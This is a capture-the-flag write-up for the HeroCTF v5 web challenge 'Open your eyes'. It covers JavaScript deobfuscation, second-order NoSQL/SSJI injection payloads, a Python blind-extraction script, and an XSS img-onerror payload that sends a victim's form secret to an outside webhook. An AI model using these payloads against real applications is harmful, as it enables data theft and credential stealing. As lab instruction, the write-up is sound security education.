0% found this document useful (0 votes)
112 views22 pages

Heroctf v5 Writeup

Hero CTF THM

Uploaded by

cimox19528
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
112 views22 pages

Heroctf v5 Writeup

Hero CTF THM

Uploaded by

cimox19528
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

heroctf-v5-writeup.

md 6/21/2023

HeroCTF v5 | Open your eyes | Web challenge


Open your eyes is a web challenge made by Opencyber for the 5th edition of the famous HeroCTF that ran
from May 12 2023 to May 14 2023.

It consists of a single web application that contains 5 flags. Each flag being more and more difficult to obtain.

This whole challenge was based upon the exploitation of a NoSQL database and the understanding of
javascript files used by an application.

Discovering the application


Upon clicking on the challenge URL, we land on a page asking for a username and a password (which we
don't know) but there is also a Login as guest button

The first thing we do on a web application is looking at the JavaScript files loaded by the browser.

To do that, we can open the developer tools, go to the Network tab and reload the page.

1 / 22
heroctf-v5-writeup.md 6/21/2023

Here, we have 2 potential custom JS files called script.js and app.js

script.js

2 / 22
heroctf-v5-writeup.md 6/21/2023

app.js

The file script.js contains the requests that are made to the API to handle the authentication process. We
could take a look at it but app.js looks way more interesting (and scary)

Javascript deobfuscation
The way the code is written looks like it has been obfuscated by a tool such as Obfuscator.io

We can use another tool that is able to deobfuscate the code. There are plenty of them on Internet but we are
going to use Deobfuscate

All we need to do is paste the obfuscated code and click on Deobfuscate to retreive the original one.

3 / 22
heroctf-v5-writeup.md 6/21/2023

Here is the code we obtain at the end of the process

document.addEventListener('DOMContentLoaded', function () {
var _0x205285 = '',
_0x2e08e0 = 'H'
_0x2e08e0 += 'e'
_0x2e08e0 += 'r'
_0x2e08e0 += 'o'
_0x2e08e0 += '{'
_0x2e08e0 += 'J@v'
_0x2e08e0 += '@'
_0x2e08e0 += 'Scr'
_0x2e08e0 += '!pt'
_0x2e08e0 += '_f!'
_0x2e08e0 += 'l3s'
_0x2e08e0 += '_R_a'
let _0x3c22af = 'opencyber-breizh'
document.onkeydown = function (_0x1f806d) {
_0x205285 += _0x1f806d.key
if (_0x205285.includes(_0x3c22af)) {
_0x2e08e0 += 'lw'
_0x2e08e0 += 'ay'
_0x2e08e0 += '$_N'
_0x2e08e0 += 'ic3'
_0x2e08e0 += '_t0_'
_0x2e08e0 += 'Gr@b'
_0x2e08e0 += '}'
let _0x204ff7 = prompt('Guess my secret')
_0x204ff7 === _0x2e08e0 && alert('Good job !')
_0x205285 = ''
4 / 22
heroctf-v5-writeup.md 6/21/2023

}
}
})

We can see the flag format of the CTF stored in a variable. After concatenating every string, we obtain the first
flag

Hero{J@v@Scr!pt_f!l3s_R_alway$_Nic3_t0_Gr@b}

Playing with the application


When we click on the Login as guest button, we land on a different page that looks to have a lot of
functionalities

First, let's try to upload a file since these kind of forms are usually not handled properly. Before doing so, we
are going to turn Burp Suite on so we can play with the request later on.

We start by creating a file called my-files.txt with the following content

HeroCTF x Opencyber

Then we upload it on the application to see our current message has been updated.

The content of our message is now displayed as well as the name of our file. That means we have 2 potential
injection points.

5 / 22
heroctf-v5-writeup.md 6/21/2023

In Burp Suite we can take a look at the API calls made by the application during the process

We identify 2 interesting requests we can put in the Repeater :

One that uploads our file (Burp tab renamed UPLOAD)

One that retreives the name of our file with its content (Burp tab renamed FETCH)

6 / 22
heroctf-v5-writeup.md 6/21/2023

After trying multiple exploitation techniques, we conclude that these endpoints are not vulnerable at all so we
can go for the next functionality which allows us to send our message to another person.

If you paid attention when you logged in as a guest at the beginning, a random identifier has been assigned
to your session and is located in the top left corner of the application

7 / 22
heroctf-v5-writeup.md 6/21/2023

In order to send our message to another person, we can open a PRIVATE WINDOW in our browser, also
login as guest and grab the newly generated identifier.

PRIVATE WINDOW

We can now send our message to the user of our private window (the secret is guest as the placeholder says).

8 / 22
heroctf-v5-writeup.md 6/21/2023

On our PRIVATE WINDOW, when clicking on the reload button, a new message is displayed and we can
download it to obtain the file just fine

PRIVATE WINDOW

9 / 22
heroctf-v5-writeup.md 6/21/2023

When we click on the Download button, the following API request is sent where message looks to be the ID of
the message (Burp tab renamed DOWNLOAD)

The response contains the name of the file as well as its content. Now we have a another place where these
inputs are reflected so let's play with them.

Second order NoSQL injection


To make it easy to follow, we have splitted our Burp Suite repeater tabs in 2 part separated by a | where the
left part is going to be the sessions of our "normal" window (let's call it user A) and the right part is going to
be the sessions of our "private" window (let's call it user B).

To play with the inputs, we need to repeat the request made by user A to send his message to user B (Burp
tab renamed SEND)

Everytime we send our message to user B, we need to increment the message parameter in the DOWNLOAD tab
to see it.

The process consists of uploading our new file, sending it to user B and downloading it as user B

10 / 22
heroctf-v5-writeup.md 6/21/2023

After playing with this process and testing different techniques for a while, we identify the injection point in
the filename parameter

We assume these informations are stored in a database but ' dont break anything.
11 / 22
heroctf-v5-writeup.md 6/21/2023

But when we try with a " an error occurs (notice the \ before the ")

Double quotes in a database often (but not always) means NoSQL

12 / 22
heroctf-v5-writeup.md 6/21/2023

Now, the goal is to make the database return the very first data by making it return a true statement, just like
when we do the following in SQL

' OR '1

In this section of PayloadAllTheThings, something called SSJI is mentionned which stands for Server-Side
Javascript Injection

It allows us to inject JavaScript expressions in a query to make it return what we want. We come up with a
payload that does exactly the same as the previous SQL query but in SSJI (don't forget to re-open the " after
closing it the first time)

After sending it, we can download the result and obtain the following

We obtain the second flag

Hero{S3c0nd_Ord3r_N0Sql_0r_SSJI}

And a message to help us for the next parts

Hello, my name is noodl-91c24e98


I've got a SECRET you need to steal from me ;)

Everytime I receive a message, I make sure to download it before sending my own

13 / 22
heroctf-v5-writeup.md 6/21/2023

message to that person and then delete it


Sorry in advance if I ghost you, I'm a bit too fast when it comes to clicking on
buttons
If I take more than 3 minutes to send you a response, try sending a new message
If I take more than 5 minutes after that, please tell Opencyber to check their
application

In the mean time, this should give you enough motivation to continue :
Hero{S3c0nd_Ord3r_N0Sql_0r_SSJI}

If you're curious, here is the schema of the database


I know for a fact that there is another user that has some juicy stuff (:

users
{
"username":"noodl-91c24e98",
"password":"MD5",
"secret":"MD5",
"pending_message_files" : [
{
"filename" : "his_message.txt",
"sender" : "ANOTHER_USERNAME"
}
]
}

files
{
"filename":"my_message.txt",
"owner":"noodl-91c24e98",
"path":"VERY_RANDOM_HEX",
"bonus":"SOMETHING_EXCLUSIVE"
}

The reason why this works is because, behind the scenes, the filename is used to query its content from the
files table and this filename is trusted by the server, so it is not sanitized.

This snyk article explains perfectly how it works server-side

Getting another user's message


We managed to obtain the message of the first user of the database but there might be other users.

In order to get their messages, we can play with our previous injection and write a JavaScript expression that
returns the first message where the owner (seen in the database schema) doesn't start with noodl-91c24e98

In the payload, this.owner refers to the owner column from the database

14 / 22
heroctf-v5-writeup.md 6/21/2023

Here, we get the third flag

Hero{W0W_HoW_D!d_y0u_G3t_there}

Getting the bonus


From noodl-91c24e98 message, we know one user has something for us which might be located in the
bonus field.

In order to extract it, we are gonna do a blind boolean-based NoSQL injection using our SSJI. To do so, we
built a python script that is going to automate the process of updating the filename of user A to contain our
payload, sending it to user B, downloading it as user B and deleting it as user B (for convenience)

The payload will be based upon the following

\" || this.bonus.startsWith('<EXTRACTD_VALUE>') && !this.owner.startsWith('noodl-


91c24e98') || \"

15 / 22
heroctf-v5-writeup.md 6/21/2023

If our injection is unsuccessful, the server will return an Internal Server Error otherwise, the previous flag
will be displayed (all the previous messages have been deleted so the message parameter is starting at 0 now)

We can then come up with an automated script.

The difficulty in the script was to make sure the filename was exactly as we want it to be (with the \" included)

The only way we found to achieve this easily was to configure Burp Suite to replace the " with a \" in the
request before sending it to the server.

To do so, go to your Proxy Settings and in the Match and replace rules add the following rule

16 / 22
heroctf-v5-writeup.md 6/21/2023

We now need to replace in the script the send_to variable with the identifier of one of our two users,
token_2 with the session cookie of the send_to user and token_1 with the session cookie of the other user

Also, make sure all the messages received of both users are deleted

Now that we are all set, we can run the following script

import requests
import re
import urllib.parse
from string import ascii_lowercase, ascii_uppercase

CHARSET = ascii_uppercase + '{_0}' + ascii_lowercase # little cheat just for the


PoC
secret = 'guest'
message_index = '0' # the message we are going to examine to check if our query is
right
send_to = 'opencyber-guest-557d530fe03cf34efa5b8621ddaaaf7e' # he is owner of
token_2
token_1 =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im9wZW5jeWJlci1ndWVzdC00MTVh
NDc1NzEzZmZjNTFkMmQwN2Y3MWI2YWRkOGZkOSIsImlhdCI6MTY4NzI0NzQ2MX0.ZLVgM3KsrAZYJXY46s
riFKIANi6PGHPE19c-6bD3uVU'
token_2 =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im9wZW5jeWJlci1ndWVzdC01NTdk
NTMwZmUwM2NmMzRlZmE1Yjg2MjFkZGFhYWY3ZSIsImlhdCI6MTY4NzI0NzUzMH0.4dun9bLAeXegHJJzkm
0oNwm82YeGdYntl6Bg52uG1nQ'

upload_url = 'http://challenge-url.io/api/v2/upload'
send_url = 'http://challenge-url.io/api/v2/send'
download_url = 'http://challenge-url.io/api/v2/download'
delete_url = 'http://challenge-url.io/api/v2/delete'

# as user A
def send():
data = {
"to" : send_to,
"secret" : secret

17 / 22
heroctf-v5-writeup.md 6/21/2023

}
cookies = {
"token" : token_1
}
req = requests.post(send_url, data=data, cookies=cookies)
return req.text

# as user A
# this one needs to go through the proxy to replace urlencoded doubles quotes
def upload(filename):
proxies = {
"http" : 'http://127.0.0.1:8080'
}
files = {
"message" : (filename, 'dummy', 'text/plain')
}
cookies = {
"token" : token_1
}
req = requests.post(upload_url, files=files, cookies=cookies, proxies=proxies)
return req.text

# as user B
def download():
data = {
"message" : message_index
}
cookies = {
"token" : token_2
}
req = requests.post(download_url, data=data, cookies=cookies)
return req.text

# as user B
def delete():
data = {
"message" : message_index
}
cookies = {
"token" : token_2
}
req = requests.post(delete_url, data=data, cookies=cookies)
return req.text

found = True
leaked = ''
while found:
found = False
for char in CHARSET:
payload = f'" || this.bonus.startsWith(\'{leaked + char}\') &&
!this.owner.startsWith(\'noodl-91c24e98\') || "'
upload(payload)
send()
content = download()
18 / 22
heroctf-v5-writeup.md 6/21/2023

delete()
print('Trying : ' + char)
if 'Internal server error' not in content :
leaked += char
found = True
print(leaked)
if char == '}':
exit(0)

After a few seconds, we can see our script leaking the start of a flag (starting with Hero{)

After a few minutes, we manage to leak the entire flag

Hero{n0t_s0_blind}

Stealing noodl-91c24e98 secret


As mentionned in noodl-91c24e98 message, if we send him a message, he downloads it and then sends his
own message.

To send a message on the application, a user needs to input his secret (which is guest for guest users like us)

So we need to find a way to steal his secret

To make it easier to understand, I have deleted all previous messages of user B and sent the my-file.txt to
him

Taking a look at the button, in the developer tools, we see it calls the function download()

The function is located in script.js

19 / 22
heroctf-v5-writeup.md 6/21/2023

From line 91 to 97, the code creates a new invisible HTML <a> element and sets its innerHTML to the content
of the message the user wants to download

That means, if we input HTML tags in it, they won't be displayed on the page but will still be interpreted.

We can create a JS script to set a listener on the form responsible of sending the message. Upon submitting
the form, the content of the secret input will be sent to us

Here is the code snippet we want to execute where the URL is reachable on Internet

document.getElementById('send').addEventListener('submit', (e) => {


e.preventDefault();
var secret=document.getElementById('secret').value;
var req = new XMLHttpRequest();
req.open('GET','http://api.webhookinbox.com/i/FP1tAMDr/in/?c='+btoa(secret),
false);
req.send();
})

To make it get executed properly, we need to create a file with the following content which is just the previous
snippet included in an <img> tag and triggered on error. Let's call the file last-flag.txt

<img src=x onerror="document.getElementById('send').addEventListener('submit', (e)


=> {e.preventDefault();var secret=document.getElementById('secret').value;var req
= new XMLHttpRequest();req.open('GET','http://api.webhookinbox.com/i/FP1tAMDr/in/?
c='+btoa(secret), false);req.send();})">

We then upload it as our own message before sending it to noodl-91c24e98

20 / 22
heroctf-v5-writeup.md 6/21/2023

After a few minutes, our webhook receives a notification containing the last flag in base64 and we also receive
a message from noodl-91c24e98 which we leaked previously

21 / 22
heroctf-v5-writeup.md 6/21/2023

Hero{0h_No_My_s3cR3t_goT_ST0LEN}

22 / 22

You might also like